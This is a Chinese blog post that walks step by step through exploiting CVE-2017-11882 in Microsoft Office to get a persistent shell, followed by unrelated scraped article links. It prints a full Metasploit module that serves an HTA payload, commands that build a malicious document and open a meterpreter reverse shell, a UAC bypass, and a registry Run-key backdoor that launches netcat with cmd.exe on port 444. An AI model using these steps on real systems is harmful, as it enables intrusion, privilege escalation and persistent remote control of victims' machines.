利用CVE-2017-11882拿到持久性shell

近日微软又爆出一个严重漏洞,利用该漏洞可以直接拿到目标机shell。这么好玩的东西怎么能错过了,于是搭建环境复现了一把。

首先去GitHub上下载exp https://github.com/starnightcyber/CVE-2017-11882.git

这里直接贴上exp脚本

把下面这段代码复制到usr/share/metasploit-framework/modules/exploits/windows/office/  名字随意格式为.rb

##

# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

class MetasploitModule  < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer

def initialize(info  = {})

super(update_info(info,

'Name' => 'Microsoft Office Payload Delivery',

'Description' => %q{

This module generates an command to place within

a word document, that when executed, will retrieve a HTA payload

via HTTP from an web server. Currently have not figured out how

to generate a doc.

},

'License' => MSF_LICENSE,

'Arch' => ARCH_X86,

'Platform' => 'win',

'Targets' =>

[

['Automatic', {} ],

],

'DefaultTarget' => 0,

))

end

def on_request_uri(cli, _request)

print_status("Delivering payload")

p = regenerate_payload(cli)

data = Msf::Util::EXE.to_executable_fmt(

framework,

ARCH_X86,

'win',

p.encoded,

'hta-psh',

{ :arch => ARCH_X86, :platform => 'win '}

)

send_response(cli, data, 'Content-Type' => 'application/hta')

end

def primer

url = get_uri

print_status("Place the following DDE in an MS document:")

print_line("mshta.exe \"#{url}\"")

end

end

打开msf,输入下列命令

use exploit/windows/office/CVE-2017-11882

set payload windows/meterpreter/reverse_tcp

show options 看一下需要设置哪些参数

这里我们设置一下LHOST和URIPATH就可以了,其他的用默认的即可。

LHOST就是kali 的ip URIPATH 是受害机连接的路径默认是遗传随机数,因为攻击脚本有字数限制所以我们改成123尽量减小长度。

设置好这些后就可以执行了。

输入 exploit -j

然后

在kali任意目录下gitclone https://github.com/starnightcyber/CVE-2017-11882.git

下好python脚本,在此目录下打开一个命令终端

输入下列命令,生成恶意文档

python Command_CVE-2017-11882.py -c "mshta http://ip/123" -o test.doc

Kali 开启Apache 靶机连接kali并下载恶意文档

靶机运行恶意文档

拿到meterpreter shell

getsystem 发现不是系统权限,因为Windows的UAC 保护机制

接下来我们利用kali自带的模块绕过UAC

use exploit/windows/local/bypassuac

set payload windows/meterpreter/reverse_tcp

一样的show options

set sessions

set lhost

set lport

exploit –j

获得一个新的sessions

利用刚获得的session 2 可以看到已经是系统管理员权限了

现在想干什么就干什么

我们就传一个nc修改一下注册表设置开机自启来获得一个永久后门吧。

在meterpreter下输入以下命令

upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32

reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe'

重启靶机在kali里输入

nc ip 444

成功拿到cmd shell

本次实验到此结束

利用CVE-2017-11882拿到持久性shell的更多相关文章

  1. 利用多线程资源竞争技术上传shell

    通过多线程资源竞争的手段同时上传两个头像,就可以在Apache+Rails环境下实现远程代码执行.这并不是天方夜谭,同时我相信许多文件上传系统都会有这个漏洞……这是一个非常有趣的安全实验,一起来看看吧 ...

  2. 简单利用HTTP中的PUT协议拿下SHELL

    第一次用方法拿shell,之前遇到的都是没有写入权限的. 站太辣鸡,纯粹练手,就不打码了. 此次实战会用到的HTTP请求方法: OPTIONS,PUT,MOVE/COPPY * 战前准备 0x01 什 ...

  3. 利用野草weedcmsuseragent盲注漏洞拿shell

    野草网站管理系统(WEEDCMS)是由野草独立基于PHP+MYSQL开发的内容管理系统.面向企业.个人.小门户等中小规模网站使用而开发的.采用国际上比较流行Smarty引擎和敏捷的JQuery JS框 ...

  4. 利用WiFi Pineapple Nano渗透客户端获取SHELL

    前言: 前两篇文章介绍了The WiFi Pineapple Nano设备的一些主要功能模块,例如PineAP.SSLsplit和Ettercap等.今天给大家实际场景演示下如何利用Pineapple ...

  5. (转载)利用burp suite截断上传拿shell

    burpsuite上传必须要有filepath这个参数 第一步:选择一个jpg后缀的马. 第二步:设置本地代理,burp的本地端口是8080 第三步:打开burp suite 按图操作就ok了. 第四 ...

  6. 利用java执行shell脚本

    BPMN中存在由系统执行的脚本任务,shell脚本任务也是该系统任务脚本中的一种,利用的也是由java执行shell脚本. 代码中的ProcessBuilder类,为java.lang.Process ...

  7. Struts2漏洞利用工具下载(更新2017-V1.8版增加S2-045/S2-046)

    Struts2漏洞利用工具下载(已更新V1.8版) 2017-03-21:增加S2-046,官方发布S2-046和S2-045漏洞引发原因一样,只是利用漏洞的位置发生了变化,S2-046方式可能绕过部 ...

  8. SHELL (2) —— Shell变量的核心基础知识和实践

    摘自:Oldboy Linux运维——SHELL编程实战 Shell变量:用一个固定的字符串(也可能是字符.数字等的组合)代替更多.更复杂的内容,该内容里可能还会包含变量.路径.字符串等其它的内容. ...

  9. 【渗透实战】记一次艰难的内网漫游第四期_蹭我WIFI?看我如何利用组合拳日进蹭网者内网

    /文章作者:Kali_MG1937 CSDN博客ID:ALDYS4 QQ:3496925334/ 内网漫游系列第三期:[渗透实战]记一次艰难的内网漫游第三期_我是如何利用APT攻击拿到内网最高权限的 ...

随机推荐

  1. IOS内存警告处理

    IPhone下每个app可用的内存是被限制的,如果一个app使用的内存超过20M,则系统会向该app发送Memory Warning消息.收到此消息后,app必须正确处理,否则可能出错或者出现内存泄露 ...

  2. php 5.5.1 编译安装过程

    1.下载解压 wget http://au1.php.net/get/php-5.5.1.tar.gz/from/ch2.php.net/mirror tar zxvf php-5.5.1.tar.g ...

  3. IOS开发小项目—找色块游戏

    1.项目代码: @interface NextViewController () { int r ;//色块层数的全局变量 int m;//后面用于tag值的变化 UIView *view;//色块 ...

  4. 为Gradle添加UTF-8支持

    gradle默认使用系统字符编码,大多数中文系统是使用GBK编码 但程序员绝大部分都是使用UTF-8写各类java文件以及其他资源文件 编译时很容易报错,比如下面的错误: ”警告:编码 GBK 的不可 ...

  5. [Everyday Mathematics]20150110

    试证: $$\bex \vlm{n}\frac{\ln^2n}{n}\sum_{k=2}^{n-2}\frac{1}{\ln k\cdot \ln(n-k)}=1. \eex$$

  6. Msys下gcc的配置

    打开文件/etc/profile,添加如下路径, C_INCLUDE_PATH=/e/msys/1.0/include export C_INCLUDE_PATH CPLUS_INCLUDE_PATH ...

  7. 认识html文件基本结构

    html文件的结构:一个HTML文件是有自己固定的结构的. <html> <head>...</head> <body>...</body> ...

  8. CSS兼容的一些问题

    DIV+CSS网页布局这是一种趋势,我也开始顺应这股趋势了,不过在使用DIV+CSS网站设计的时候,应该注意css样式兼容不同浏览器问题,特别是对完全使用DIV+CSS设计的网页,就应该更注意IE6 ...

  9. 迷茫&lt;第一篇:初到北京&gt;

    时光如梭,毕业四年了,遥想当年刚毕业的场景就像是昨天发生一样,这四年的人生,就是在不停的漂泊,不断的受挫.感慨良多,一言难以说尽.  2013年11月29号毕业,刚到北京的第二天我就顺利的找到了工作, ...

  10. linux 下日常使用便利工具

    Nautilus 你工作中有在GUI和命令行之间切来切去吗?当你总是要在命令行中输入你要进入的目录的时候,你有沮丧无奈过吗?如果有的话,那么,你一定要试下这个nautilus插件 —— nautilu ...